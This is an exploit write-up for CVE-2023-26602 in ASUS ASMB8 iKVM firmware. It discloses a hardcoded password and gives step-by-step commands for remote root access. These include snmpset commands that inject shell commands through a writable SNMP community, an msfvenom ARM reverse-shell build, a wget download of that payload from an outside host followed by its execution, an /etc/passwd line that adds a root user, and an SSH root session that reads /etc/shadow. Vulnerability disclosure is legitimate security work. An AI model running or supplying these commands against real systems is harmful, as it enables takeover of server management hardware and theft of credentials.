[remote] ASUS ASMB8 iKVM 1.14.51 - Remote Code Execution (RCE) & SSH Access

# Exploit Title: ASUS ASMB8 iKVM 1.14.51 - Remote Code Execution (RCE) & SSH Access # Date: 2023-02-16 # Exploit Author: d1g@segfault.net for NetworkSEC [NWSSA-002-2023] # Vendor Homepage: https://servers.asus.com/search?q=ASMB8 # Version/Model: ASMB8 iKVM Firmware <= 1.14.51 (probably others) # Tested on: Linux AMI2CFDA1C7570E 2.6.28.10-ami armv5tejl # CVE: CVE-2023-26602 ++++++++++++++++++++ 0x00 DESCRIPTION ++++++++++++++++++++ During a recent engagement, a remote server management interface has been discovered. Furthermore, SNMPv2 was found to be enabled, offering write access to the private community, subsequently allowing us to introduce SNMP arbitrary extensions to achieve RCE. We also found a hardcoded account sysadmin:superuser by cracking the shadow file (md5crypt) found on the system and identifed an "anonymous" user w/ the same password, however a lock seems to be in place to prevent using these credentials via SSH (running defshell as default shell). +++++++++++++++ 0x01 IMPACT +++++++++++++++ By exploiting SNMP arbitrary extension, we are able to run any command on the system w/ root privileges, and we are able to introduce our own user circumventing the defshell restriction for SSH. +++++++++++++++++++++++++++++++ 0x02 PROOF OF CONCEPT (PoC) +++++++++++++++++++++++++++++++ At first, we have to create required extensions on the system, e.g. via snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private x.x.x.x 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "[command]"' and if everything is set, we can just run that command by snmpbulkwalk -c public -v2c x.x.x NET-SNMP-EXTEND-MIB::nsExtendObjects which will execute our defined command and show us its output. +++++++++++++++++++++++++++++++ 0x03 SSH Remote Root Access +++++++++++++++++++++++++++++++ The identified RCE can be used to transfer a reverse tcp shell created by msfvenom for arm little-endian, e.g. msfvenom -p linux/armle/shell_reverse_tcp LHOST=x.x.x.x LPORT=4444 -f elf -o rt.bin We can now transfer the binary, adjust permissions and finally run it: snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private x.x.x.x 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "wget -O /var/tmp/rt.bin http://x.x.x.x/rt.bin"' snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private x.x.x.x 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "chmod +x /var/tmp/rt.bin"' snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private x.x.x.x 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "/var/tmp/rt.bin"' Again, we have to request execution of the lines in the MIB via: snmpbulkwalk -c public -v2c x.x.x.x NET-SNMP-EXTEND-MIB::nsExtendObjects We get a reverse connection from the host, and can now act on the local system to easily echo our own line into /etc/passwd: echo d1g:OmE2EUpLJafIk:0:0:root:/root:/bin/sh >> /etc/passwd By setting the standard shell to /bin/sh, we are able to get a SSH root shell into the system, effectively circumventing the defshell restriction. $ sshpass -p xxxx ssh x.x.x.x -oHostKeyAlgorithms=+ssh-dss -l d1g BusyBox v1.13.2 (2017-07-11 18:39:07 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. # uname -a Linux AMI2CFDA1C7570E 2.6.28.10-ami #1 Tue Jul 11 18:49:20 CST 2017 armv5tejl unknown # uptime 15:01:45 up 379 days, 23:33, load average: 2.63, 1.57, 1.25 # head -n 1 /etc/shadow sysadmin:$1$A17c6z5w$5OsdHjBn1pjvN6xXKDckq0:14386:0:99999:7::: --- #EOF